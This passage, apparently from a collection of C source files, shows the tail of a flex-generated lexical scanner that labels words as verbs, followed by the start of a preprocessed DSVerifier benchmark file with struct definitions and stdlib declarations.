} \
else if ( ((result = fread( buf, 1, max_size, yyin )) == 0) \
&& ferror( yyin ) ) \
YY_FATAL_ERROR( "input in flex scanner failed" );
#endif
/* No semi-colon after return; correct usage is to write "yyterminate();" -
* we don't want an extra ';' after the "return" because that will cause
* some compilers to complain about unreachable statements.
*/
#ifndef yyterminate
#define yyterminate() return YY_NULL
#endif
/* Number of entries by which start-condition stack grows. */
#ifndef YY_START_STACK_INCR
#define YY_START_STACK_INCR 25
#endif
/* Report a fatal error. */
#ifndef YY_FATAL_ERROR
#define YY_FATAL_ERROR(msg) yy_fatal_error( msg )
#endif
/* Default declaration of generated scanner - a define so the user can
* easily add parameters.
*/
#ifndef YY_DECL
#define YY_DECL int yylex YY_PROTO(( void ))
#endif
/* Code executed at the beginning of each rule, after yytext and yyleng
* have been set up.
*/
#ifndef YY_USER_ACTION
#define YY_USER_ACTION
#endif
/* Code executed at the end of each rule. */
#ifndef YY_BREAK
#define YY_BREAK break;
#endif
#define YY_RULE_SETUP \
YY_USER_ACTION
YY_DECL
{
register yy_state_type yy_current_state;
register char *yy_cp, *yy_bp;
register int yy_act;
#line 1 "lex.l"
#line 524 "lex.yy.c"
if ( yy_init )
{
yy_init = 0;
#ifdef YY_USER_INIT
YY_USER_INIT;
#endif
if ( ! yy_start )
yy_start = 1; /* first start state */
if ( ! yyin )
yyin = stdin;
if ( ! yyout )
yyout = stdout;
if ( ! yy_current_buffer )
yy_current_buffer =
yy_create_buffer( yyin, YY_BUF_SIZE );
yy_load_buffer_state();
}
while ( 1 ) /* loops until end-of-file is reached */
{
yy_cp = yy_c_buf_p;
/* Support of yytext. */
*yy_cp = yy_hold_char;
/* yy_bp points to the position in yy_ch_buf of the start of
* the current run.
*/
yy_bp = yy_cp;
yy_current_state = yy_start;
yy_match:
do
{
register YY_CHAR yy_c = yy_ec[YY_SC_TO_UI(*yy_cp)];
if ( yy_accept[yy_current_state] )
{
yy_last_accepting_state = yy_current_state;
yy_last_accepting_cpos = yy_cp;
}
while ( yy_chk[yy_base[yy_current_state] + yy_c] != yy_current_state )
{
yy_current_state = (int) yy_def[yy_current_state];
if ( yy_current_state >= 15 )
yy_c = yy_meta[(unsigned int) yy_c];
}
yy_current_state = yy_nxt[yy_base[yy_current_state] + (unsigned int) yy_c];
++yy_cp;
}
while ( yy_base[yy_current_state] != 19 );
yy_find_action:
yy_act = yy_accept[yy_current_state];
if ( yy_act == 0 )
{ /* have to back up */
yy_cp = yy_last_accepting_cpos;
yy_current_state = yy_last_accepting_state;
yy_act = yy_accept[yy_current_state];
}
YY_DO_BEFORE_ACTION;
do_action: /* This label is used only to access EOF actions. */
switch ( yy_act )
{ /* beginning of action switch */
case 0: /* must back up */
/* undo the effects of YY_DO_BEFORE_ACTION */
*yy_cp = yy_hold_char;
yy_cp = yy_last_accepting_cpos;
yy_current_state = yy_last_accepting_state;
goto yy_find_action;
case 1:
YY_RULE_SETUP
#line 3 "lex.l"
{ printf("%s is a verb", yytext); }
YY_BREAK
case 2:
YY_RULE_SETUP
#line 4 "lex.l"
{ printf("%s is not a verb", yytext); }
YY_BREAK
case 3:
YY_RULE_SETUP
#line 6 "lex.l"
ECHO;
YY_BREAK
#line 622 "lex.yy.c"
case YY_STATE_EOF(INITIAL):
yyterminate();
case YY_END_OF_BUFFER:
{
/* Amount of text matched not including the EOB char. */
int yy_amount_of_matched_text = (int) (yy_cp - yytext_ptr) - 1;
/* Undo the effects of YY_DO_BEFORE_ACTION. */
*yy_cp = yy_hold_char;
YY_RESTORE_YY_MORE_OFFSET
if ( yy_current_buffer->yy_buffer_status == YY_BUFFER_NEW )
{
/* We're scanning a new file or input source. It's
* possible that this happened because the user
* just pointed yyin at a new source and called
* yylex(). If so, then we have to assure
* consistency between yy_current_buffer and our
* globals. Here is the right place to do so, because
* this is the first action (other than possibly a
* back-up) that will match for the new input source.
*/
yy_n_chars = yy_current_buffer->yy_n_chars;
yy_current_buffer->yy_input_file = yyin;
yy_current_buffer->yy_buffer_status = YY_BUFFER_NORMAL;
}
/* Note that here we test for yy_c_buf_p "<=" to the position
* of the first EOB in the buffer, since yy_c_buf_p will
* already have been incremented past the NUL character
* (since all states make transitions on EOB to the
* end-of-buffer state). Contrast this with the test
* in input().
*/
if ( yy_c_buf_p <= &yy_current_buffer->yy_ch_buf[yy_n_chars] )
{ /* This was really a NUL. */
yy_state_type yy_next_state;
yy_c_buf_p = yytext_ptr + yy_amount_of_matched_text;
yy_current_state = yy_get_previous_state();
/* Okay, we're now positioned to make the NUL
* transition. We couldn't have
* yy_get_previous_state() go ahead and do it
* for us because it doesn't know how to deal
* with the possibility of jamming (and we don't
* want to build jamming into it because then it
* will run more slowly).
*/
yy_next_state = yy_try_NUL_trans( yy_current_state );
yy_bp = yytext_ptr + YY_MORE_ADJ;
if ( yy_next_state )
{
/* Consume the NUL. */
yy_cp = ++yy_c_buf_p;
yy_current_state = yy_next_state;
goto yy_match;
}
else
{
yy_cp = yy_c_buf_p;
goto yy_find_action;
}
}
else switch ( yy_get_next_buffer() )
{
case EOB_ACT_END_OF_FILE:
{
yy_did_buffer_switch_on_eof = 0;
if ( yywrap() )
{
/* Note: because we've taken care in
* yy_get_next_buffer() to have set up
* yytext, we can now set up
* yy_c_buf_p so that if some total
* hoser (like flex itself) wants to
* call the scanner after we return the
* YY_NULL, it'll still work - another
* YY_NULL will get returned.
*/
yy_c_buf_p = yytext_ptr + YY_MORE_ADJ;
yy_act = YY_STATE_EOF(YY_START);
goto do_action;
}
else
{
if ( ! yy_did_buffer_switch_on_eof )
YY_NEW_FILE;
}
break;
}
case EOB_ACT_CONTINUE_SCAN:
yy_c_buf_p =
yytext_ptr + yy_amount_of_matched_text;
yy_current_state = yy_get_previous_state();
yy_cp = yy_c_buf_p;
yy_bp = yytext_ptr + YY_MORE_ADJ;
goto yy_match;
case EOB_ACT_LAST_MATCH:
yy_c_buf_p =
&yy_current_buffer->yy_ch_buf[yy_n_chars];
yy_current_state = yy_get_previous_state();
yy_cp = yy_c_buf_p;
yy_bp = yytext_ptr + YY_MORE_ADJ;
goto yy_find_action;
}
break;
}
default:
YY_FATAL_ERROR(
"fatal flex scanner internal error--no action found" );
} /* end of action switch */
} /* end of scanning one token */
} /* end of yylex */
/* yy_get_next_buffer - try to read in a new buffer
*
* Returns a code representing an action:
* EOB_ACT_LAST_MATCH -
* EOB_ACT_CONTINUE_SCAN - continue scanning from current position
* EOB_ACT_END_OF_FILE - end of file
*/
static int yy_get_next_buffer()
{
register char *dest = yy_current_buffer->yy_ch_buf;
register char *source = yytext_ptr;
register int number_to_move, i;
int ret_val;
if ( yy_c_buf_p > &yy_current_buffer->yy_ch_buf[yy_n_chars + 1] )
YY_FATAL_ERROR(
"fatal flex scanner internal error--end of buffer missed" );
if ( yy_current_buffer->yy_fill_buffer == 0 )
{ /* Don't try to fill the buffer, so this is an EOF. */
if ( yy_c_buf_p - yytext_ptr - YY_MORE_ADJ == 1 )
{
/* We matched a single character, the EOB, so
* treat this as a final EOF.
*/
return EOB_ACT_END_OF_FILE;
}
else
{
/* We matched some text prior to the EOB, first
* process it.
*/
return EOB_ACT_LAST_MATCH;
}
}
/* Try to read more data. */
/* First move last chars to start of buffer. */
number_to_move = (int) (yy_c_buf_p - yytext_ptr) - 1;
for ( i = 0; i < number_to_move; ++i )
*(dest++) = *(source++);
if ( yy_current_buffer->yy_buffer_status == YY_BUFFER_EOF_PENDING )
/* don't do the read, it's not guaranteed to return an EOF,
* just force an EOF
*/
yy_current_buffer->yy_n_chars = yy_n_chars = 0;
else
{
int num_to_read =
yy_current_buffer->yy_buf_size - number_to_move - 1;
while ( num_to_read <= 0 )
{ /* Not enough room in the buffer - grow it. */
#ifdef YY_USES_REJECT
YY_FATAL_ERROR(
"input buffer overflow, can't enlarge buffer because scanner uses REJECT" );
#else
/* just a shorter name for the current buffer */
YY_BUFFER_STATE b = yy_current_buffer;
int yy_c_buf_p_offset =
(int) (yy_c_buf_p - b->yy_ch_buf);
if ( b->yy_is_our_buffer )
{
int new_size = b->yy_buf_size * 2;
if ( new_size <= 0 )
b->yy_buf_size += b->yy_buf_size / 8;
else
b->yy_buf_size *= 2;
b->yy_ch_buf = (char *)
/* Include room in for 2 EOB chars. */
yy_flex_realloc( (void *) b->yy_ch_buf,
b->yy_buf_size + 2 );
}
else
/* Can't grow it, we don't own it. */
b->yy_ch_buf = 0;
if ( ! b->yy_ch_buf )
YY_FATAL_ERROR(
"fatal error - scanner input buffer overflow" );
yy_c_buf_p = &b->yy_ch_buf[yy_c_buf_p_offset];
num_to_read = yy_current_buffer->yy_buf_size -
number_to_move - 1;
#endif
}
if ( num_to_read > YY_READ_BUF_SIZE )
num_to_read = YY_READ_BUF_SIZE;
/* Read in more data. */
YY_INPUT( (&yy_current_buffer->yy_ch_buf[number_to_move]),
yy_n_chars, num_to_read );
yy_current_buffer->yy_n_chars = yy_n_chars;
}
if ( yy_n_chars == 0 )
{
if ( number_to_move == YY_MORE_ADJ )
{
ret_val = EOB_ACT_END_OF_FILE;
yyrestart( yyin );
}
else
{
ret_val = EOB_ACT_LAST_MATCH;
yy_current_buffer->yy_buffer_status =
YY_BUFFER_EOF_PENDING;
}
}
else
ret_val = EOB_ACT_CONTINUE_SCAN;
yy_n_chars += number_to_move;
yy_current_buffer->yy_ch_buf[yy_n_chars] = YY_END_OF_BUFFER_CHAR;
yy_current_buffer->yy_ch_buf[yy_n_chars + 1] = YY_END_OF_BUFFER_CHAR;
yytext_ptr = &yy_current_buffer->yy_ch_buf[0];
return ret_val;
}
/* yy_get_previous_state - get the state just before the EOB char was reached */
static yy_state_type yy_get_previous_state()
{
register yy_state_type yy_current_state;
register char *yy_cp;
yy_current_state = yy_start;
for ( yy_cp = yytext_ptr + YY_MORE_ADJ; yy_cp < yy_c_buf_p; ++yy_cp )
{
register YY_CHAR yy_c = (*yy_cp ? yy_ec[YY_SC_TO_UI(*yy_cp)] : 1);
if ( yy_accept[yy_current_state] )
{
yy_last_accepting_state = yy_current_state;
yy_last_accepting_cpos = yy_cp;
}
while ( yy_chk[yy_base[yy_current_state] + yy_c] != yy_current_state )
{
yy_current_state = (int) yy_def[yy_current_state];
if ( yy_current_state >= 15 )
yy_c = yy_meta[(unsigned int) yy_c];
}
yy_current_state = yy_nxt[yy_base[yy_current_state] + (unsigned int) yy_c];
}
return yy_current_state;
}
/* yy_try_NUL_trans - try to make a transition on the NUL character
*
* synopsis
* next_state = yy_try_NUL_trans( current_state );
*/
#ifdef YY_USE_PROTOS
static yy_state_type yy_try_NUL_trans( yy_state_type yy_current_state )
#else
static yy_state_type yy_try_NUL_trans( yy_current_state )
yy_state_type yy_current_state;
#endif
{
register int yy_is_jam;
register char *yy_cp = yy_c_buf_p;
register YY_CHAR yy_c = 1;
if ( yy_accept[yy_current_state] )
{
yy_last_accepting_state = yy_current_state;
yy_last_accepting_cpos = yy_cp;
}
while ( yy_chk[yy_base[yy_current_state] + yy_c] != yy_current_state )
{
yy_current_state = (int) yy_def[yy_current_state];
if ( yy_current_state >= 15 )
yy_c = yy_meta[(unsigned int) yy_c];
}
yy_current_state = yy_nxt[yy_base[yy_current_state] + (unsigned int) yy_c];
yy_is_jam = (yy_current_state == 14);
return yy_is_jam ? 0 : yy_current_state;
}
#ifndef YY_NO_UNPUT
#ifdef YY_USE_PROTOS
static void yyunput( int c, register char *yy_bp )
#else
static void yyunput( c, yy_bp )
int c;
register char *yy_bp;
#endif
{
register char *yy_cp = yy_c_buf_p;
/* undo effects of setting up yytext */
*yy_cp = yy_hold_char;
if ( yy_cp < yy_current_buffer->yy_ch_buf + 2 )
{ /* need to shift things up to make room */
/* +2 for EOB chars. */
register int number_to_move = yy_n_chars + 2;
register char *dest = &yy_current_buffer->yy_ch_buf[
yy_current_buffer->yy_buf_size + 2];
register char *source =
&yy_current_buffer->yy_ch_buf[number_to_move];
while ( source > yy_current_buffer->yy_ch_buf )
*--dest = *--source;
yy_cp += (int) (dest - source);
yy_bp += (int) (dest - source);
yy_current_buffer->yy_n_chars =
yy_n_chars = yy_current_buffer->yy_buf_size;
if ( yy_cp < yy_current_buffer->yy_ch_buf + 2 )
YY_FATAL_ERROR( "flex scanner push-back overflow" );
}
*--yy_cp = (char) c;
yytext_ptr = yy_bp;
yy_hold_char = *yy_cp;
yy_c_buf_p = yy_cp;
}
#endif /* ifndef YY_NO_UNPUT */
#ifdef __cplusplus
static int yyinput()
#else
static int input()
#endif
{
int c;
*yy_c_buf_p = yy_hold_char;
if ( *yy_c_buf_p == YY_END_OF_BUFFER_CHAR )
{
/* yy_c_buf_p now points to the character we want to return.
* If this occurs *before* the EOB characters, then it's a
* valid NUL; if not, then we've hit the end of the buffer.
*/
if ( yy_c_buf_p < &yy_current_buffer->yy_ch_buf[yy_n_chars] )
/* This was really a NUL. */
*yy_c_buf_p = '\0';
else
{ /* need more input */
int offset = yy_c_buf_p - yytext_ptr;
++yy_c_buf_p;
switch ( yy_get_next_buffer() )
{
case EOB_ACT_LAST_MATCH:
/* This happens because yy_g_n_b()
* sees that we've accumulated a
* token and flags that we need to
* try matching the token before
* proceeding. But for input(),
* there's no matching to consider.
* So convert the EOB_ACT_LAST_MATCH
* to EOB_ACT_END_OF_FILE.
*/
/* Reset buffer status. */
yyrestart( yyin );
/* fall through */
case EOB_ACT_END_OF_FILE:
{
if ( yywrap() )
return EOF;
if ( ! yy_did_buffer_switch_on_eof )
YY_NEW_FILE;
#ifdef __cplusplus
return yyinput();
#else
return input();
#endif
}
case EOB_ACT_CONTINUE_SCAN:
yy_c_buf_p = yytext_ptr + offset;
break;
}
}
}
c = *(unsigned char *) yy_c_buf_p; /* cast for 8-bit char's */
*yy_c_buf_p = '\0'; /* preserve yytext */
yy_hold_char = *++yy_c_buf_p;
return c;
}
#ifdef YY_USE_PROTOS
void yyrestart( FILE *input_file )
#else
void yyrestart( input_file )
FILE *input_file;
#endif
{
if ( ! yy_current_buffer )
yy_current_buffer = yy_create_buffer( yyin, YY_BUF_SIZE );
yy_init_buffer( yy_current_buffer, input_file );
yy_load_buffer_state();
}
#ifdef YY_USE_PROTOS
void yy_switch_to_buffer( YY_BUFFER_STATE new_buffer )
#else
void yy_switch_to_buffer( new_buffer )
YY_BUFFER_STATE new_buffer;
#endif
{
if ( yy_current_buffer == new_buffer )
return;
if ( yy_current_buffer )
{
/* Flush out information for old buffer. */
*yy_c_buf_p = yy_hold_char;
yy_current_buffer->yy_buf_pos = yy_c_buf_p;
yy_current_buffer->yy_n_chars = yy_n_chars;
}
yy_current_buffer = new_buffer;
yy_load_buffer_state();
/* We don't actually know whether we did this switch during
* EOF (yywrap()) processing, but the only time this flag
* is looked at is after yywrap() is called, so it's safe
* to go ahead and always set it.
*/
yy_did_buffer_switch_on_eof = 1;
}
#ifdef YY_USE_PROTOS
void yy_load_buffer_state( void )
#else
void yy_load_buffer_state()
#endif
{
yy_n_chars = yy_current_buffer->yy_n_chars;
yytext_ptr = yy_c_buf_p = yy_current_buffer->yy_buf_pos;
yyin = yy_current_buffer->yy_input_file;
yy_hold_char = *yy_c_buf_p;
}
#ifdef YY_USE_PROTOS
YY_BUFFER_STATE yy_create_buffer( FILE *file, int size )
#else
YY_BUFFER_STATE yy_create_buffer( file, size )
FILE *file;
int size;
#endif
{
YY_BUFFER_STATE b;
b = (YY_BUFFER_STATE) yy_flex_alloc( sizeof( struct yy_buffer_state ) );
if ( ! b )
YY_FATAL_ERROR( "out of dynamic memory in yy_create_buffer()" );
b->yy_buf_size = size;
/* yy_ch_buf has to be 2 characters longer than the size given because
* we need to put in 2 end-of-buffer characters.
*/
b->yy_ch_buf = (char *) yy_flex_alloc( b->yy_buf_size + 2 );
if ( ! b->yy_ch_buf )
YY_FATAL_ERROR( "out of dynamic memory in yy_create_buffer()" );
b->yy_is_our_buffer = 1;
yy_init_buffer( b, file );
return b;
}
#ifdef YY_USE_PROTOS
void yy_delete_buffer( YY_BUFFER_STATE b )
#else
void yy_delete_buffer( b )
YY_BUFFER_STATE b;
#endif
{
if ( ! b )
return;
if ( b == yy_current_buffer )
yy_current_buffer = (YY_BUFFER_STATE) 0;
if ( b->yy_is_our_buffer )
yy_flex_free( (void *) b->yy_ch_buf );
yy_flex_free( (void *) b );
}
#ifndef YY_ALWAYS_INTERACTIVE
#ifndef YY_NEVER_INTERACTIVE
extern int isatty YY_PROTO(( int ));
#endif
#endif
#ifdef YY_USE_PROTOS
void yy_init_buffer( YY_BUFFER_STATE b, FILE *file )
#else
void yy_init_buffer( b, file )
YY_BUFFER_STATE b;
FILE *file;
#endif
{
yy_flush_buffer( b );
b->yy_input_file = file;
b->yy_fill_buffer = 1;
#if YY_ALWAYS_INTERACTIVE
b->yy_is_interactive = 1;
#else
#if YY_NEVER_INTERACTIVE
b->yy_is_interactive = 0;
#else
b->yy_is_interactive = file ? (isatty( fileno(file) ) > 0) : 0;
#endif
#endif
}
#ifdef YY_USE_PROTOS
void yy_flush_buffer( YY_BUFFER_STATE b )
#else
void yy_flush_buffer( b )
YY_BUFFER_STATE b;
#endif
{
if ( ! b )
return;
b->yy_n_chars = 0;
/* We always need two end-of-buffer characters. The first causes
* a transition to the end-of-buffer state. The second causes
* a jam in that state.
*/
b->yy_ch_buf[0] = YY_END_OF_BUFFER_CHAR;
b->yy_ch_buf[1] = YY_END_OF_BUFFER_CHAR;
b->yy_buf_pos = &b->yy_ch_buf[0];
b->yy_at_bol = 1;
b->yy_buffer_status = YY_BUFFER_NEW;
if ( b == yy_current_buffer )
yy_load_buffer_state();
}
#ifndef YY_NO_SCAN_BUFFER
#ifdef YY_USE_PROTOS
YY_BUFFER_STATE yy_scan_buffer( char *base, yy_size_t size )
#else
YY_BUFFER_STATE yy_scan_buffer( base, size )
char *base;
yy_size_t size;
#endif
{
YY_BUFFER_STATE b;
if ( size < 2 ||
base[size-2] != YY_END_OF_BUFFER_CHAR ||
base[size-1] != YY_END_OF_BUFFER_CHAR )
/* They forgot to leave room for the EOB's. */
return 0;
b = (YY_BUFFER_STATE) yy_flex_alloc( sizeof( struct yy_buffer_state ) );
if ( ! b )
YY_FATAL_ERROR( "out of dynamic memory in yy_scan_buffer()" );
b->yy_buf_size = size - 2; /* "- 2" to take care of EOB's */
b->yy_buf_pos = b->yy_ch_buf = base;
b->yy_is_our_buffer = 0;
b->yy_input_file = 0;
b->yy_n_chars = b->yy_buf_size;
b->yy_is_interactive = 0;
b->yy_at_bol = 1;
b->yy_fill_buffer = 0;
b->yy_buffer_status = YY_BUFFER_NEW;
yy_switch_to_buffer( b );
return b;
}
#endif
#ifndef YY_NO_SCAN_STRING
#ifdef YY_USE_PROTOS
YY_BUFFER_STATE yy_scan_string( yyconst char *yy_str )
#else
YY_BUFFER_STATE yy_scan_string( yy_str )
yyconst char *yy_str;
#endif
{
int len;
for ( len = 0; yy_str[len]; ++len )
;
return yy_scan_bytes( yy_str, len );
}
#endif
#ifndef YY_NO_SCAN_BYTES
#ifdef YY_USE_PROTOS
YY_BUFFER_STATE yy_scan_bytes( yyconst char *bytes, int len )
#else
YY_BUFFER_STATE yy_scan_bytes( bytes, len )
yyconst char *bytes;
int len;
#endif
{
YY_BUFFER_STATE b;
char *buf;
yy_size_t n;
int i;
/* Get memory for full buffer, including space for trailing EOB's. */
n = len + 2;
buf = (char *) yy_flex_alloc( n );
if ( ! buf )
YY_FATAL_ERROR( "out of dynamic memory in yy_scan_bytes()" );
for ( i = 0; i < len; ++i )
buf[i] = bytes[i];
buf[len] = buf[len+1] = YY_END_OF_BUFFER_CHAR;
b = yy_scan_buffer( buf, n );
if ( ! b )
YY_FATAL_ERROR( "bad buffer in yy_scan_bytes()" );
/* It's okay to grow etc. this buffer, and we should throw it
* away when we're done.
*/
b->yy_is_our_buffer = 1;
return b;
}
#endif
#ifndef YY_NO_PUSH_STATE
#ifdef YY_USE_PROTOS
static void yy_push_state( int new_state )
#else
static void yy_push_state( new_state )
int new_state;
#endif
{
if ( yy_start_stack_ptr >= yy_start_stack_depth )
{
yy_size_t new_size;
yy_start_stack_depth += YY_START_STACK_INCR;
new_size = yy_start_stack_depth * sizeof( int );
if ( ! yy_start_stack )
yy_start_stack = (int *) yy_flex_alloc( new_size );
else
yy_start_stack = (int *) yy_flex_realloc(
(void *) yy_start_stack, new_size );
if ( ! yy_start_stack )
YY_FATAL_ERROR(
"out of memory expanding start-condition stack" );
}
yy_start_stack[yy_start_stack_ptr++] = YY_START;
BEGIN(new_state);
}
#endif
#ifndef YY_NO_POP_STATE
static void yy_pop_state()
{
if ( --yy_start_stack_ptr < 0 )
YY_FATAL_ERROR( "start-condition stack underflow" );
BEGIN(yy_start_stack[yy_start_stack_ptr]);
}
#endif
#ifndef YY_NO_TOP_STATE
static int yy_top_state()
{
return yy_start_stack[yy_start_stack_ptr - 1];
}
#endif
#ifndef YY_EXIT_FAILURE
#define YY_EXIT_FAILURE 2
#endif
#ifdef YY_USE_PROTOS
static void yy_fatal_error( yyconst char msg[] )
#else
static void yy_fatal_error( msg )
char msg[];
#endif
{
(void) fprintf( stderr, "%s\n", msg );
exit( YY_EXIT_FAILURE );
}
/* Redefine yyless() so it works in section 3 code. */
#undef yyless
#define yyless(n) \
do \
{ \
/* Undo effects of setting up yytext. */ \
yytext[yyleng] = yy_hold_char; \
yy_c_buf_p = yytext + n; \
yy_hold_char = *yy_c_buf_p; \
*yy_c_buf_p = '\0'; \
yyleng = n; \
} \
while ( 0 )
/* Internal utility routines. */
#ifndef yytext_ptr
#ifdef YY_USE_PROTOS
static void yy_flex_strncpy( char *s1, yyconst char *s2, int n )
#else
static void yy_flex_strncpy( s1, s2, n )
char *s1;
yyconst char *s2;
int n;
#endif
{
register int i;
for ( i = 0; i < n; ++i )
s1[i] = s2[i];
}
#endif
#ifdef YY_NEED_STRLEN
#ifdef YY_USE_PROTOS
static int yy_flex_strlen( yyconst char *s )
#else
static int yy_flex_strlen( s )
yyconst char *s;
#endif
{
register int n;
for ( n = 0; s[n]; ++n )
;
return n;
}
#endif
#ifdef YY_USE_PROTOS
static void *yy_flex_alloc( yy_size_t size )
#else
static void *yy_flex_alloc( size )
yy_size_t size;
#endif
{
return (void *) malloc( size );
}
#ifdef YY_USE_PROTOS
static void *yy_flex_realloc( void *ptr, yy_size_t size )
#else
static void *yy_flex_realloc( ptr, size )
void *ptr;
yy_size_t size;
#endif
{
/* The cast to (char *) in the following accommodates both
* implementations that use char* generic pointers, and those
* that use void* generic pointers. It works with the latter
* because both ANSI C and C++ allow castless assignment from
* any pointer type to void*, and deal with argument conversions
* as though doing an assignment.
*/
return (void *) realloc( (char *) ptr, size );
}
#ifdef YY_USE_PROTOS
static void yy_flex_free( void *ptr )
#else
static void yy_flex_free( ptr )
void *ptr;
#endif
{
free( ptr );
}
#if YY_MAIN
int main()
{
yylex();
return 0;
}
#endif
#line 6 "lex.l"
int main()
{
yylex();
return 1;
}
int yywrap()
{
return 1;
}
|
the_stack_data/103264791.c | # 1 "benchmarks/ds-08-impl3.c"
# 1 "<built-in>"
# 1 "<command-line>"
# 1 "/usr/include/stdc-predef.h" 1 3 4
# 1 "<command-line>" 2
# 1 "benchmarks/ds-08-impl3.c"
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 1
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h"
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/definitions.h" 1
# 132 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/definitions.h"
int X_SIZE_VALUE = 0;
int overflow_mode = 1;
int rounding_mode = 0;
# 155 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/definitions.h"
typedef struct {
double a[100];
int a_size;
double b[100];
int b_size;
double sample_time;
double a_uncertainty[100];
double b_uncertainty[100];
} digital_system;
typedef struct {
double A[4][4];
double B[4][4];
double C[4][4];
double D[4][4];
double states[4][4];
double outputs[4][4];
double inputs[4][4];
double K[4][4];
unsigned int nStates;
unsigned int nInputs;
unsigned int nOutputs;
} digital_system_state_space;
typedef struct {
int int_bits;
int frac_bits;
double max;
double min;
int default_realization;
double delta;
int scale;
double max_error;
} implementation;
typedef struct {
int push;
int in;
int sbiw;
int cli;
int out;
int std;
int ldd;
int subi;
int sbci;
int lsl;
int rol;
int add;
int adc;
int adiw;
int rjmp;
int mov;
int sbc;
int ld;
int rcall;
int cp;
int cpc;
int ldi;
int brge;
int pop;
int ret;
int st;
int brlt;
int cpi;
} instructions;
typedef struct {
long clock;
int device;
double cycle;
instructions assembly;
} hardware;
typedef struct{
float Ap, Ar, Ac;
float wp, wc, wr;
int type;
}filter_parameters;
# 21 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
# 1 "/usr/include/stdlib.h" 1 3 4
# 25 "/usr/include/stdlib.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 1 3 4
# 33 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 3 4
# 1 "/usr/include/features.h" 1 3 4
# 461 "/usr/include/features.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 1 3 4
# 452 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 453 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/long-double.h" 1 3 4
# 454 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 2 3 4
# 462 "/usr/include/features.h" 2 3 4
# 485 "/usr/include/features.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 1 3 4
# 10 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/gnu/stubs-64.h" 1 3 4
# 11 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 2 3 4
# 486 "/usr/include/features.h" 2 3 4
# 34 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 2 3 4
# 26 "/usr/include/stdlib.h" 2 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 209 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 3 4
# 209 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 3 4
typedef long unsigned int size_t;
# 321 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 3 4
typedef int wchar_t;
# 32 "/usr/include/stdlib.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/waitflags.h" 1 3 4
# 52 "/usr/include/x86_64-linux-gnu/bits/waitflags.h" 3 4
typedef enum
{
P_ALL,
P_PID,
P_PGID
} idtype_t;
# 40 "/usr/include/stdlib.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/waitstatus.h" 1 3 4
# 41 "/usr/include/stdlib.h" 2 3 4
# 55 "/usr/include/stdlib.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/floatn.h" 1 3 4
# 120 "/usr/include/x86_64-linux-gnu/bits/floatn.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/floatn-common.h" 1 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/floatn-common.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/long-double.h" 1 3 4
# 25 "/usr/include/x86_64-linux-gnu/bits/floatn-common.h" 2 3 4
# 121 "/usr/include/x86_64-linux-gnu/bits/floatn.h" 2 3 4
# 56 "/usr/include/stdlib.h" 2 3 4
typedef struct
{
int quot;
int rem;
} div_t;
typedef struct
{
long int quot;
long int rem;
} ldiv_t;
__extension__ typedef struct
{
long long int quot;
long long int rem;
} lldiv_t;
# 97 "/usr/include/stdlib.h" 3 4
extern size_t __ctype_get_mb_cur_max (void) __attribute__ ((__nothrow__ , __leaf__)) ;
extern double atof (const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
extern int atoi (const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
extern long int atol (const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
__extension__ extern long long int atoll (const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
extern double strtod (const char *__restrict __nptr,
char **__restrict __endptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern float strtof (const char *__restrict __nptr,
char **__restrict __endptr) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern long double strtold (const char *__restrict __nptr,
char **__restrict __endptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 176 "/usr/include/stdlib.h" 3 4
extern long int strtol (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
